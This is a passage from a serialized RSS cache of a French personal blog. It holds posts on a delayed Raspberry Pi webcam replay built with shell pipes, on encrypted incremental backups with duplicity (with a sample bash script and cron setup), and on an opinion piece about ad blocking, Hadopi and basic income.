";s:7:"dateiso";s:15:"20140120_112040";}s:15:"20140120_102040";a:7:{s:5:"title";s:49:"Lecture différée de la webcam d'un Raspberry Pi";s:4:"link";s:77:"http://blog.rom1v.com/2014/01/lecture-differee-de-la-webcam-dun-raspberry-pi/";s:4:"guid";s:76:"http://blog.rom1v.com/2014/01/lecture-differee-de-la-webcam-dun-raspberry-pi";s:7:"pubDate";s:25:"2014-01-20T10:20:40+01:00";s:11:"description";s:0:"";s:7:"content";s:11817:"L’objectif de ce billet est de parvenir à lire le flux provenant de la
caméra d’un Raspberry Pi avec un décalage de quelques secondes (plutôt
qu’en direct), avec les outils dédiés que sont raspivid et omxplayer.

Là où je travaille, il y a un babyfoot. Nous avons récemment décidé de l’informatiser un peu pour avoir la détection et le ralenti des buts. Entre autres, un Raspberry Pi a été installé avec sa caméra au-dessus du terrain de manière à fournir une vue aérienne.
raspivid permet d’afficher en direct ce que la caméra filme. Mais l’intérêt
est faible dans notre cas : le direct, nous l’avons déjà sous les yeux.
Il est bien plus utile d’avoir un “direct” différé de quelques secondes : lors d’un but ou d’une action litigieuse, il suffit de tourner la tête pour revoir ce qu’il vient de se passer (à vitesse réelle).
Je me suis intéressé à faire fonctionner ce cas d’usage. Je vais détailler ici les principes et les problèmes rencontrés.
La première idée fut de brancher le flux H.264 que produit raspivid sur
l’entrée de omxplayer, qui serait démarré quelques secondes plus tard.
Premier problème, omxplayer ne semblait pas savoir lire sur son entrée
standard. Ce n’est pas très gênant, il suffit d’utiliser un tube nommé grâce à
mkfifo. En effet :
printf 'a\nb\nc\n' | grep bpeut être remplacé par :
# terminal 1
mkfifo /tmp/fifo
printf 'a\nb\nc\n' > /tmp/fifo
# terminal 2
< /tmp/fifo grep bMais en fait, il y a plus direct : omxplayer n’est qu’un script wrapper pour
le vrai omxplayer.bin, c’est lui qui empêchait la lecture sur l’entrée
standard. Il suffit juste d’exporter la variable qui-va-bien et d’appeler
omxplayer.bin directement :
export LD_LIBRARY_PATH="/opt/vc/lib:/usr/lib/omxplayer"
omxplayer.bin …Cependant, contrairement à ce que proposent beaucoup de commandes shell,
omxplayer.bin ne prévoit pas explicitement de lire sur son entrée standard, il
attend obligatoirement un fichier en paramètre. Donnons-lui donc comme fichier
/dev/stdin !
raspivid -t 0 -w 1280 -h 720 -fps 25 -n -o - | omxplayer.bin /dev/stdinVu la durée de démarrage d’omxplayer.bin, pas besoin de retarder son
lancement, la vidéo sera bien décalée de quelques secondes.
Le problème, c’est que le buffer lié au tube est très limité (man 7 pipe) :
il sera très vite plein, bloquant totalement l’enregistrement et la lecture de
la vidéo.
Nous avons besoin d’un buffer plus important. Pour cela, nous pouvons utiliser
mbuffer, ici avec une taille de 10Mo :
raspivid … | mbuffer -m 10m | omxplayer.bin /dev/stdinEt là, cela semble fonctionner.
Pour décaler un peu plus la lecture par omxplayer.bin, il est possible
d’utiliser les commandes groupées (man bash) pour ajouter un appel à sleep
avant le démarrage :
raspivid … | mbuffer -m 10m | { sleep 3; omxplayer.bin /dev/stdin; }raspivid est censé enregistrer à 25 fps (-fps 25) et omxplayer nous
indique dans la console qu’il lit à 25 fps.
Cependant, en réalité, le décalage n’est pas constant : il augmente petit à petit au fil des minutes, et le buffer se remplit légèrement plus vite qu’il ne se vide. La lecture consomme moins d’images que n’en produit l’enregistrement, comme si le débit d’images de l’enregistrement était supérieur à celui de lecture.
Il y a donc un manque d’exactitude (à ne pas confondre avec un manque de précision) dans le nombre d’images enregistrées et/ou lues par seconde.

Si nous tentons d’enregistrer à un débit légèrement inférieur (24 fps), c’est le contraire : le retard est rattrapé progressivement jusqu’à fournir une lecture en direct.
Comme le débit d’images est la seule information temporelle disponible et qu’elle est inexacte, il semble impossible de contrecarrer cette variation de délai.
Mais en réalité, ce n’est pas la seule information temporelle dont nous disposons : nous savons que le flux est en direct.
Comment exploiter cette information ? Pour le comprendre, il suffit
d’enregistrer à un débit d’images très faible (-fps 5) et de le lire toujours
à 25 fps.
Si la lecture provient d’un fichier, alors la vidéo passe en accéléré. Par contre, si la lecture sort de la webcam en direct, alors la vidéo passe à vitesse normale mais à 5 fps : le lecteur a beau vouloir lire 25 images par seconde, s’il n’en reçoit que 5 chaque seconde, il n’a pas d’autre choix que de lire à 5 fps.
Ainsi, sans même connaître sa valeur réelle exacte, nous parvenons à obtenir le même débit d’images à l’enregistrement qu’à la lecture.
Mais comme nous l’avons vu, avec un débit d’images d’enregistrement inférieur, le délai introduit se réduira inexorablement (le retard sera rattrapé). Ce que nous voulons éviter : nous voulons un délai constant.
Nous avons cependant avancé, car maintenant, si nous disposions d’une commande
qui retarde ce qui sort de raspivid pour le donner à omxplayer x secondes
plus tard, et que nous enregistrons à un débit d’images légèrement inférieur à
celui de la lecture, alors omxplayer rattrapera le retard pour parvenir au
direct… décalé de x secondes. Exactement ce que nous voulons !
J’ai donc demandé sur stackoverflow si une telle commande existait, ce qui ne semblait pas être le cas.
Je l’ai donc implémentée (sous licence GPLv3) :
git clone http://git.rom1v.com/delay.git
cd delay
make && sudo make install(ou sur github)
Elle permet de décaler tout ce qui arrive sur stdin d’un délai constant pour
le sortir sur stdout :
delay [-b <dtbufsize>] <delay>
Elle est donc très générique, et n’a aucun lien avec le fait que le flux soit une vidéo.
Elle fonctionne aussi très bien pour différer la lecture de la webcam dans VLC sur un pc classique :
ffmpeg -an -s 320x240 -f video4linux2 -i /dev/video0 -f mpeg2video -b 1M - |
delay 2s | vlc -Nous pourrions penser qu’il suffit de faire la même chose avec raspivid et
omxplayer, avec un débit d’images légèrement inférieur pour l’enregistrement
(24 fps) :
raspivid -t 0 -w 1280 -h 720 -fps 24 -n -o - |
delay -b10m 4s |
omxplayer.bin /dev/stdinMalheureusement, avec omxplayer, ce n’est pas si simple.
En effet, l’initialisation d’omxplayer pour une lecture vidéo est très longue
(plusieurs secondes), et surtout, elle ne débute que lorsque une partie
suffisamment importante de la vidéo à lire est reçue (les headers ne suffisent
pas). Décaler la vidéo de x secondes décale également l’initialisation de x
secondes, ajoutant d’autant plus de décalage.
Certes, le retard supplémentaire sera rattrapé progressivement, mais cela prendra du temps (environ 1 image chaque seconde, soit 1 seconde toutes les 25 secondes). Pour obtenir le délai désiré dès le départ, ce problème doit être évité.
Une solution de contournement consiste à passer les premiers (méga-)octets
sortis de raspivid directement à omxplayer.bin, et de ne différer que le
reste avec delay. De cette manière, les premières images seront lues
immédiatement, permettant au lecteur de s’initialiser, alors que la suite sera
différée.
Grâce aux commandes groupées de bash (encore elles), c’est très simple :
raspivid -t 0 -w 1280 -h 720 -fps 24 -n -o - |
{ head -c10M; delay -b10m 4s; } |
omxplayer.bin /dev/stdinLa commande head va passer immédiatement les 10 premiers méga-octets à
omxplayer.bin, puis la commande delay prendra le relai. Ainsi,
l’initialisation aura déjà eu lieu quand les premiers octets sortiront de
delay.
À part les premières secondes un peu chaotiques, le flux vidéo sera alors bien diffusé en différé avec un délai constant (testé sur 24 heures).
Nous avons donc bricolé une solution qui permet un replay différé en continu sur un Raspberry Pi.
";s:7:"dateiso";s:15:"20140120_102040";}s:15:"20130814_165942";a:7:{s:5:"title";s:47:"Duplicity : des backups incrémentaux chiffrés";s:4:"link";s:74:"http://blog.rom1v.com/2013/08/duplicity-des-backups-incrementaux-chiffres/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4623";s:7:"pubDate";s:31:"Wed, 14 Aug 2013 14:59:42 +0000";s:11:"description";s:381:"Quiconque s’auto-héberge doit maintenir un système de sauvegarde de son serveur, permettant de tout remettre en place dans le cas d’un crash de disque dur, d’un piratage ou d’un cambriolage. Objectifs Il est nécessaire de sauvegarder à la fois des fichiers (les mails, les services hébergés, les fichiers de config…) et le contenu de bases […]";s:7:"content";s:15780:"Quiconque s’auto-héberge doit maintenir un système de sauvegarde de son serveur, permettant de tout remettre en place dans le cas d’un crash de disque dur, d’un piratage ou d’un cambriolage.
Il est nécessaire de sauvegarder à la fois des fichiers (les mails, les services hébergés, les fichiers de config…) et le contenu de bases de données (associées aux services hébergés).
Le système de sauvegarde doit conserver les archives durant un certain temps (par exemple 2 mois). En effet, un piratage ou une erreur de manipulation peuvent n’être détectés que quelques jours plus tard : il est important de pouvoir restaurer un état antérieur.
La sauvegarde doit être régulière (par exemple quotidienne).
Seule une infime partie des données étant modifiées d’un jour à l’autre, la sauvegarde a tout intérêt à être incrémentale.
Pour résister aux cambriolages, une sauvegarde doit être réalisée sur (au moins) une machine distante. Il est donc préférable que ces données soient chiffrées.
Vous l’aurez compris, duplicity répond à tous ces besoins.
Je ne vais pas expliquer tout ce qu’il sait faire, mais plutôt comment je l’utilise et pourquoi.
Personnellement, je n’effectue qu’une sauvegarde locale dans une tâche cron, c’est-à-dire que les fichiers de backups sont stockés sur le serveur lui-même.
En effet, une sauvegarde automatique vers un serveur distant, par SSH par exemple, nécessiterait une clé privée en clair sur le serveur. Cette configuration ne résisterait pas à certains piratages : une intrusion sur le serveur donnerait également accès aux sauvegardes, permettant à un pirate d’effacer à la fois les données et les backups.
C’est donc une autre machine, à l’initiative de la connexion, qui rapatrie les backups. Évidemment, elle ne doit pas synchroniser localement les backups supprimés du serveur (elle serait vulnérable à la suppression des backups par un pirate), mais doit plutôt supprimer les anciennes sauvegardes de sa propre initiative.
Duplicity utilise GPG pour le chiffrement, permettant :
Le premier choix nécessite à la fois quelque chose que je possède (la clé, de forte entropie) et quelque chose que je connais (la passphrase, de plus faible entropie). Le second ne nécessite que la passphrase à retenir.
L’utilisation d’une clé privée autorise donc une meilleure sécurité, notamment si vous souhaitez envoyer vos backups sur un serveur américain.
Néanmoins, les backups sont surtout utiles lors de la perte de données, notamment dans le cas d’un cambriolage, où la clé GPG a potentiellement également disparu. Et les sauvegardes distantes ne seront d’aucune utilité sans la clé…
Il peut donc être moins risqué d’opter, comme je l’ai fait, pour une simple passphrase.
À vous de placer le curseur entre la protection de vos données et le risque de ne plus pouvoir les récupérer.
Sur une Debian :
sudo apt-get install duplicity
Duplicity effectue des sauvegardes complètes et incrémentales. Les sauvegardes incrémentales nécessitent toutes les sauvegardes depuis la dernière complète pour être restaurées.
Personnellement, j’effectue une sauvegarde complète tous les mois, et une incrémentale tous les jours.
Pour choisir le mode :
duplicity full … force une sauvegarde complète ;duplicity incr … force une sauvegarde incrémentale (échoue si aucune complète n’est trouvée) ;duplicity … effectue une sauvegarde incrémentale si possible, complète sinon.Exemple (à exécuter en root pour avoir accès à tous les fichiers) :
duplicity / file:///var/backups/duplicity/ --include-globbing-filelist filelist.txt --exclude '**'
Duplicity va sauvegarder à partir de la racine ("/") tous les fichiers selon les règles d’inclusion et d’exclusion définies dans filelist.txt. Ce fichier contient simplement la liste des fichiers et répertoires à sauvegarder, ainsi que ceux à exclure. Par exemple :
/usr/local/bin/
/home/rom/Maildir/
/home/rom/.procmailrc
- /var/www/blog/wp-content/cache/
/var/www/blog/
Attention : les fichiers et répertoires à exclure doivent apparaître avant l’inclusion d’un répertoire parent. En effet, duplicity s’arrête à la première règle qui matche un chemin donné pour déterminer s’il doit l’inclure ou l’exclure.
Pour restaurer :
duplicity restore file:///var/backups/duplicity/ /any/directory/
(utiliser l’option -t pour restaurer à une date particulière)
Pour supprimer les anciennes sauvegardes (ici de plus de 2 mois) :
duplicity remove-older-than 2M file:///var/backups/duplicity/ --force
Tout comme pour les fichiers, il est préférable de sauvegarder incrémentalement les bases de données (seule une toute petite partie des données change d’un jour à l’autre).
Une première solution serait d’utiliser la fonctionnalité-qui-va-bien de votre SGBD.
Mais si le contenu de vos bases de données ne dépasse pas quelques Go (ce qui est très probable pour de l’auto-hébergement), duplicity permet de faire beaucoup plus simple.
Il suffit en effet de générer un dump complet des bases de données vers des fichiers .sql et d’inclure leur chemin dans la liste des fichiers à sauvegarder. Et là, c’est magique, duplicity va ne sauvegarder que les parties de ces (gros) fichiers qui ont changées, grâce à rsync et à son algorithme qui utilise des rolling checksums.
Bien sûr, il ne faut pas compresser ces fichiers avant de les donner à manger à duplicity (sinon l’intégralité du fichier risque de changer) ; c’est lui qui va s’en charger. De même, il vaut mieux éviter d’inclure dans les fichies SQL des informations liées au dump, comme sa date de génération.
Pour exporter une base de données MySQL par exemple :
mysql -uroot -ppassword --skip-comments -ql my_database > my_database.sql
Il reste donc à écrire un script qui exporte les bases de données et qui appelle duplicity avec la liste de ce qu’il y a à sauvegarder.
Voici un prototype, à sauvegarder dans /usr/local/bin/backup :
#!/bin/bash
BACKUP_HOME=/var/backups
TMP_DBDIR="$BACKUP_HOME/dbdump"
BACKUP_DIR="$BACKUP_HOME/duplicity"
MYSQLPW=mon_password_mysql
PASSPHRASE=ma_passphrase_de_chiffrement_des_backups
DATABASES='blog autre_base'
FILELIST="/usr/local/bin/
/home/rom/Maildir/
/home/rom/.procmailrc
- /var/www/blog/wp-content/cache/
/var/www/blog/
$TMP_DBDIR/"
# databases
mkdir -p "$TMP_DBDIR"
for dbname in $DATABASES
do
printf "## Dump database $dbname...\n"
mysqldump -uroot -p"$MYSQLPW" --skip-comments -ql "$dbname" \
> "$TMP_DBDIR/$dbname.sql"
done
# duplicity
printf '## Backup using duplicity...\n'
unset mode
[ "$1" = full ] && mode=full && printf '(force full backup)\n'
mkdir -p "$BACKUP_DIR"
export PASSPHRASE
duplicity $mode / file://"$BACKUP_DIR"/ \
--include-globbing-filelist <(echo "$FILELIST") --exclude '**'
printf '## Delete old backups\n'
duplicity remove-older-than 2M file://"$BACKUP_DIR"/ --force
# backups are encrypted, we can make them accessible
chmod +r "$BACKUP_DIR"/*.gpg
# remove temp files
rm "$TMP_DBDIR"/*.sql
Une fois configuré, ne pas oublier de tester : exécuter le script et restaurer les données dans un répertoire de test, puis vérifier que tout est OK. Cette vérification doit être effectuée de temps en temps : il serait dommage de s’apercevoir, lorsqu’on en a besoin, que les backups sont inutilisables ou qu’un répertoire important a été oublié.
Pour démarrer automatiquement une sauvegarde complète le premier jour du mois et une incrémentale tous les autres jours, cron est notre ami :
sudo crontab -e
Ajouter les lignes :
0 1 1 * * /usr/local/bin/backup full
0 1 2-31 * * /usr/local/bin/backup
La première colonne correspond aux minutes, la deuxième aux heures : le script sera donc exécuté à 1h du matin. La 3e correspond au numéro du jour dans le mois. Les deux suivantes sont le numéro du mois dans l’année et le jour de la semaine.
Il peut être préférable d’exécuter le script en priorité basse :
0 1 1 * * nice -15 ionice -c2 /usr/local/bin/backup full
0 1 2-31 * * nice -15 ionice -c2 /usr/local/bin/backup
Il ne reste plus qu’à effectuer des copies des fichiers de backups ailleurs.
À partir d’une autre machine, le plus simple est d’utiliser rsync (sans l’option --delete !) :
rsync -rvP --partial-dir=/my/local/tmpbackup --ignore-existing --stats -h server:/var/backups/duplicity/ /my/local/backup/
--ignore-existing évite de récupérer des modifications malicieuses des backups sur le serveur (ils ne sont pas censés être modifiés). Du coup, il faut aussi faire attention à sauvegarder les transferts partiels ailleurs (--partial-dir), sans quoi ils ne se termineront jamais.
Pour supprimer les anciens backups sur cette machine, c’est la même commande que sur le serveur :
duplicity remove-older-than 2M file:///my/local/backup/ --force
La génération de sauvegardes à la fois incrémentales et chiffrées, y compris pour les bases de données, font de duplicity une solution de backup idéale pour l’auto-hébergement.
Je l’utilise depuis plusieurs mois, et j’en suis très satisfait (même si je n’ai pas encore eu besoin de restaurer les backups en situation réelle).
À vos backups !
";s:7:"dateiso";s:15:"20130814_165942";}s:15:"20130814_145942";a:7:{s:5:"title";s:48:"Duplicity : des backups incrémentaux chiffrés";s:4:"link";s:73:"http://blog.rom1v.com/2013/08/duplicity-des-backups-incrementaux-chiffres";s:4:"guid";s:73:"http://blog.rom1v.com/2013/08/duplicity-des-backups-incrementaux-chiffres";s:7:"pubDate";s:25:"2013-08-14T14:59:42+02:00";s:11:"description";s:0:"";s:7:"content";s:15529:"Quiconque s’auto-héberge doit maintenir un système de sauvegarde de son serveur, permettant de tout remettre en place dans le cas d’un crash de disque dur, d’un piratage ou d’un cambriolage.
Il est nécessaire de sauvegarder à la fois des fichiers (les mails, les services hébergés, les fichiers de config…) et le contenu de bases de données (associées aux services hébergés).
Le système de sauvegarde doit conserver les archives durant un certain temps (par exemple 2 mois). En effet, un piratage ou une erreur de manipulation peuvent n’être détectés que quelques jours plus tard : il est important de pouvoir restaurer un état antérieur.
La sauvegarde doit être régulière (par exemple quotidienne).
Seule une infime partie des données étant modifiées d’un jour à l’autre, la sauvegarde a tout intérêt à être incrémentale.
Pour résister aux cambriolages, une sauvegarde doit être réalisée sur (au moins) une machine distante. Il est donc préférable que ces données soient chiffrées.
Vous l’aurez compris, duplicity répond à tous ces besoins.
Je ne vais pas expliquer tout ce qu’il sait faire, mais plutôt comment je l’utilise et pourquoi.
Personnellement, je n’effectue qu’une sauvegarde locale dans une tâche cron, c’est-à-dire que les fichiers de backups sont stockés sur le serveur lui-même.
En effet, une sauvegarde automatique vers un serveur distant, par SSH par exemple, nécessiterait une clé privée en clair sur le serveur. Cette configuration ne résisterait pas à certains piratages : une intrusion sur le serveur donnerait également accès aux sauvegardes, permettant à un pirate d’effacer à la fois les données et les backups.
C’est donc une autre machine, à l’initiative de la connexion, qui rapatrie les backups. Évidemment, elle ne doit pas synchroniser localement les backups supprimés du serveur (elle serait vulnérable à la suppression des backups par un pirate), mais doit plutôt supprimer les anciennes sauvegardes de sa propre initiative.
Duplicity utilise GPG pour le chiffrement, permettant :
Le premier choix nécessite à la fois quelque chose que je possède (la clé, de forte entropie) et quelque chose que je connais (la passphrase, de plus faible entropie). Le second ne nécessite que la passphrase à retenir.
L’utilisation d’une clé privée autorise donc une meilleure sécurité, notamment si vous souhaitez envoyer vos backups sur un serveur américain.
Néanmoins, les backups sont surtout utiles lors de la perte de données, notamment dans le cas d’un cambriolage, où la clé GPG a potentiellement également disparu. Et les sauvegardes distantes ne seront d’aucune utilité sans la clé…
Il peut donc être moins risqué d’opter, comme je l’ai fait, pour une simple passphrase.
À vous de placer le curseur entre la protection de vos données et le risque de ne plus pouvoir les récupérer.
Sur une Debian :
sudo apt-get install duplicity
Duplicity effectue des sauvegardes complètes et incrémentales. Les sauvegardes incrémentales nécessitent toutes les sauvegardes depuis la dernière complète pour être restaurées.
Personnellement, j’effectue une sauvegarde complète tous les mois, et une incrémentale tous les jours.
Pour choisir le mode :
duplicity full … force une sauvegarde complète ;duplicity incr … force une sauvegarde incrémentale (échoue si aucune
complète n’est trouvée) ;duplicity … effectue une sauvegarde incrémentale si possible,
complète sinon.Exemple (à exécuter en root pour avoir accès à tous les fichiers) :
duplicity / file:///var/backups/duplicity/ \
--include-globbing-filelist filelist.txt \
--exclude '**'Duplicity va sauvegarder à partir de la racine (/) tous les fichiers selon
les règles d’inclusion et d’exclusion définies dans filelist.txt. Ce fichier
contient simplement la liste des fichiers et répertoires à sauvegarder, ainsi
que ceux à exclure. Par exemple :
/usr/local/bin/
/home/rom/Maildir/
/home/rom/.procmailrc
- /var/www/blog/wp-content/cache/
/var/www/blog/
Attention : les fichiers et répertoires à exclure doivent apparaître avant l’inclusion d’un répertoire parent. En effet, duplicity s’arrête à la première règle qui matche un chemin donné pour déterminer s’il doit l’inclure ou l’exclure.
Pour restaurer :
duplicity restore file:///var/backups/duplicity/ /any/directory/
(utiliser l’option -t pour restaurer à une date particulière)
Pour supprimer les anciennes sauvegardes (ici de plus de 2 mois) :
duplicity remove-older-than 2M file:///var/backups/duplicity/ --force
Tout comme pour les fichiers, il est préférable de sauvegarder incrémentalement les bases de données (seule une toute petite partie des données change d’un jour à l’autre).
Une première solution serait d’utiliser la fonctionnalité-qui-va-bien de votre SGBD.
Mais si le contenu de vos bases de données ne dépasse pas quelques Go (ce qui est très probable pour de l’auto-hébergement), duplicity permet de faire beaucoup plus simple.
Il suffit en effet de générer un dump complet des bases de données vers des
fichiers .sql et d’inclure leur chemin dans la liste des fichiers à
sauvegarder. Et là, c’est magique, duplicity va ne sauvegarder que les parties
de ces (gros) fichiers qui ont changées, grâce à rsync et à son
algorithme qui utilise des rolling checksums.
Bien sûr, il ne faut pas compresser ces fichiers avant de les donner à manger à duplicity (sinon l’intégralité du fichier risque de changer) ; c’est lui qui va s’en charger. De même, il vaut mieux éviter d’inclure dans les fichies SQL des informations liées au dump, comme sa date de génération.
Pour exporter une base de données MySQL par exemple :
mysql -uroot -ppassword --skip-comments -ql my_database > my_database.sql
Il reste donc à écrire un script qui exporte les bases de données et qui appelle
duplicity avec la liste de ce qu’il y a à sauvegarder.
Voici un prototype, à sauvegarder dans /usr/local/bin/backup :
#!/bin/bash
BACKUP_HOME=/var/backups
TMP_DBDIR="$BACKUP_HOME/dbdump"
BACKUP_DIR="$BACKUP_HOME/duplicity"
MYSQLPW=mon_password_mysql
PASSPHRASE=ma_passphrase_de_chiffrement_des_backups
DATABASES='blog autre_base'
FILELIST="/usr/local/bin/
/home/rom/Maildir/
/home/rom/.procmailrc
- /var/www/blog/wp-content/cache/
/var/www/blog/
$TMP_DBDIR/"
# databases
mkdir -p "$TMP_DBDIR"
for dbname in $DATABASES
do
printf "## Dump database $dbname...\n"
mysqldump -uroot -p"$MYSQLPW" --skip-comments -ql "$dbname" \
> "$TMP_DBDIR/$dbname.sql"
done
# duplicity
printf '## Backup using duplicity...\n'
unset mode
[ "$1" = full ] && mode=full && printf '(force full backup)\n'
mkdir -p "$BACKUP_DIR"
export PASSPHRASE
duplicity $mode / file://"$BACKUP_DIR"/ \
--include-globbing-filelist <(echo "$FILELIST") --exclude '**'
printf '## Delete old backups\n'
duplicity remove-older-than 2M file://"$BACKUP_DIR"/ --force
# backups are encrypted, we can make them accessible
chmod +r "$BACKUP_DIR"/*.gpg
# remove temp files
rm "$TMP_DBDIR"/*.sqlUne fois configuré, ne pas oublier de tester : exécuter le script et restaurer les données dans un répertoire de test, puis vérifier que tout est OK. Cette vérification doit être effectuée de temps en temps : il serait dommage de s’apercevoir, lorsqu’on en a besoin, que les backups sont inutilisables ou qu’un répertoire important a été oublié.
Pour démarrer automatiquement une sauvegarde complète le premier jour du mois et une incrémentale tous les autres jours, cron est notre ami :
sudo crontab -e
Ajouter les lignes :
0 1 1 * * /usr/local/bin/backup full
0 1 2-31 * * /usr/local/bin/backup
La première colonne correspond aux minutes, la deuxième aux heures : le script sera donc exécuté à 1h du matin. La 3e correspond au numéro du jour dans le mois. Les deux suivantes sont le numéro du mois dans l’année et le jour de la semaine.
Il peut être préférable d’exécuter le script en priorité basse :
0 1 1 * * nice -15 ionice -c2 /usr/local/bin/backup full
0 1 2-31 * * nice -15 ionice -c2 /usr/local/bin/backup
Il ne reste plus qu’à effectuer des copies des fichiers de backups ailleurs.
À partir d’une autre machine, le plus simple est d’utiliser rsync (sans
l’option --delete !) :
rsync -rvP --partial-dir=/my/local/tmpbackup --ignore-existing --stats \
-h server:/var/backups/duplicity/ /my/local/backup/--ignore-existing évite de récupérer des modifications malicieuses des backups
sur le serveur (ils ne sont pas censés être modifiés). Du coup, il faut aussi
faire attention à sauvegarder les transferts partiels ailleurs
(--partial-dir), sans quoi ils ne se termineront jamais.
Pour supprimer les anciens backups sur cette machine, c’est la même commande que sur le serveur :
duplicity remove-older-than 2M file:///my/local/backup/ --force
La génération de sauvegardes à la fois incrémentales et chiffrées, y compris pour les bases de données, font de duplicity une solution de backup idéale pour l’auto-hébergement.
Je l’utilise depuis plusieurs mois, et j’en suis très satisfait (même si je n’ai pas encore eu besoin de restaurer les backups en situation réelle).
À vos backups !
";s:7:"dateiso";s:15:"20130814_145942";}s:15:"20130613_174738";a:7:{s:5:"title";s:38:"Anti-AdBlock et Hadopi, même combat ?";s:4:"link";s:65:"http://blog.rom1v.com/2013/06/anti-adblock-et-hadopi-meme-combat/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4534";s:7:"pubDate";s:31:"Thu, 13 Jun 2013 15:47:38 +0000";s:11:"description";s:384:"La presse s’inquiète de plus en plus de l’impact des bloqueurs de publicités sur leurs sources de revenus et condamne, plus ou moins ouvertement, leur utilisation par les internautes. Le débat se polarise alors entre : ceux qui considèrent qu’ils n’ont pas à se voir imposer des publicités, et qui donc les bloquent ; ceux qui pensent […]";s:7:"content";s:7332:"La presse s’inquiète de plus en plus de l’impact des bloqueurs de publicités sur leurs sources de revenus et condamne, plus ou moins ouvertement, leur utilisation par les internautes.
Le débat se polarise alors entre :
La seconde catégorie avance un argument simple et de bon sens : le contenu produit nécessite du travail, et leurs auteurs ont évidemment besoin de se loger, de se nourrir, et bien d’autres choses encore… Ce qui implique, dans notre société, d’avoir de l’argent. Ce que rapporte un peu la publicité.
Les autres sont des pirates sans conscience désirant tout gratuitement, à qui il faut expliquer qu’une attitude responsable consiste à ne pas bloquer les publicités. À moins que…
Des auteurs qui proposent du « contenu » difficilement vendable à un public qui y accède sans le payer, ça ne vous rappelle rien ?
L’un des fondements de l’idéologie répressive d’Hadopi est qu’il faut éduquer et contraindre les utilisateurs, sans quoi les « créateurs » ne pourront plus « vivre de leur travail », et donc ne pourront plus « créer ».
Faut-il établir un cadre psychologique incitant à accepter l’intrusion de publicités afin que les journalistes puissent « gagner leur vie » ?
De la même manière qu’il faut dépasser l’opposition entre le partage de la culture et son financement par la vente de copies, je pense qu’il faut dépasser celle entre la liberté de (non) réception (appliquée au web) et le financement par la publicité.
Les discussions portant sur la négociation d’un compromis entre les deux positions, comme l’acceptation de publicités moins intrusives, paraissent vaines.
Ne pas pouvoir vendre un contenu ne signifie pas qu’il n’a pas de valeur : un article rendu accessible à tous n’a pas moins de valeur que le même article restreint par un accès payant.
Par contre, y ajouter de la publicité diminue la valeur que leur attribuent les lecteurs, mais aussi les auteurs eux-mêmes : tous préféreraient ne pas la subir. La publicité agit donc comme un parasite.
Et pour les journalistes, ce parasite engendre une dépendance financière pouvant influencer le fond du discours. D’une manière générale, les sources de financement ont souvent tendance à réduire l’indépendance, pierre angulaire du journalisme.
C’est la raison pour laquelle certains essaient de ne dépendre que de leurs lecteurs. Mais, pour la plupart d’entre eux (pas tous), cela signifie limiter le contenu aux seuls abonnés. En effet, si tout est déjà accessible, pourquoi payer ?
Cependant, en pratique, seuls quelques gros sites peuvent se permettre cette restriction (les internautes ne vont pas s’abonner aux milliers de sites qu’ils visitent). Et au fond, est-ce bien le web que nous voulons, cloisonné par des barrières à péages ?
Du côté des lecteurs, la publicité ralentit la navigation, impose une pollution visuelle et collecte certaines données personnelles ; pas étonnant qu’ils cherchent à s’en prémunir !
Dans le monde de la rareté, l’échange monétaire provient de la rencontre de l’offre et de la demande. Dans le monde de l’immatériel, l’offre et la demande se rencontrent déjà parfaitement sans monnaie, qui ne joue alors plus le rôle de facilitateur d’échange, mais au contraire d’obstacle : il est nécessaire de restreindre ou dégrader le résultat du travail pour pouvoir « gagner sa vie ».
Le métier de certains journalistes, dont personne ne conteste l’utilité, est menacé, car nous avons intégré le fait que le revenu devait provenir exclusivement du travail. Mais si ce travail ne génère pas d’argent, doit-il disparaître ?
La publicité est omniprésente car il faut absolument gagner de l’argent autrement, l’information en elle-même n’en rapportant pas. Pourtant, les internautes vont bien sur les sites de presse pour l’information, pas pour la publicité !
Et si une partie du revenu était indépendante du travail ? Dissocier le revenu et l’emploi n’améliorerait-il pas la situation, pour tout le monde et en particulier pour les journalistes ?
Le revenu de base augmente la possibilité d’activités non rentables, sans ajouter de dépendances (car inconditionnel).
La rentabilité ayant tendance à entraver et dénaturer le journalisme, ne devrions-nous envisager sérieusement cette proposition dans les débats sur le financement de la presse, et plus généralement sur les productions potentiellement non-marchandes ?
Le revenu de base n’interdirait bien sûr pas les autres sources de financement : il s’y ajouterait. Simplement, il augmenterait la capacité à refuser des financements contraignants, tels que ceux provenant de la publicité…
";s:7:"dateiso";s:15:"20130613_174738";}s:15:"20130613_154738";a:7:{s:5:"title";s:39:"Anti-AdBlock et Hadopi, même combat ?";s:4:"link";s:64:"http://blog.rom1v.com/2013/06/anti-adblock-et-hadopi-meme-combat";s:4:"guid";s:64:"http://blog.rom1v.com/2013/06/anti-adblock-et-hadopi-meme-combat";s:7:"pubDate";s:25:"2013-06-13T15:47:38+02:00";s:11:"description";s:0:"";s:7:"content";s:6703:"La presse s’inquiète de plus en plus de l’impact des bloqueurs de publicités sur leurs sources de revenus et condamne, plus ou moins ouvertement, leur utilisation par les internautes.
Le débat se polarise alors entre :
La seconde catégorie avance un argument simple et de bon sens : le contenu produit nécessite du travail, et leurs auteurs ont évidemment besoin de se loger, de se nourrir, et bien d’autres choses encore… Ce qui implique, dans notre société, d’avoir de l’argent. Ce que rapporte un peu la publicité.
Les autres sont des pirates sans conscience désirant tout gratuitement, à qui il faut expliquer qu’une attitude responsable consiste à ne pas bloquer les publicités. À moins que…
Des auteurs qui proposent du “contenu” difficilement vendable à un public qui y accède sans le payer, ça ne vous rappelle rien ?
L’un des fondements de l’idéologie répressive d’Hadopi est qu’il faut éduquer et contraindre les utilisateurs, sans quoi les “créateurs” ne pourront plus “vivre de leur travail”, et donc ne pourront plus “créer”.
Faut-il établir un cadre psychologique incitant à accepter l’intrusion de publicités afin que les journalistes puissent “gagner leur vie” ?
De la même manière qu’il faut dépasser l’opposition entre le partage de la culture et son financement par la vente de copies, je pense qu’il faut dépasser celle entre la liberté de (non) réception (appliquée au web) et le financement par la publicité.
Les discussions portant sur la négociation d’un compromis entre les deux positions, comme l’acceptation de publicités moins intrusives, paraissent vaines.
Ne pas pouvoir vendre un contenu ne signifie pas qu’il n’a pas de valeur : un article rendu accessible à tous n’a pas moins de valeur que le même article restreint par un accès payant.
Par contre, y ajouter de la publicité diminue la valeur que leur attribuent les lecteurs, mais aussi les auteurs eux-mêmes : tous préféreraient ne pas la subir. La publicité agit donc comme un parasite.
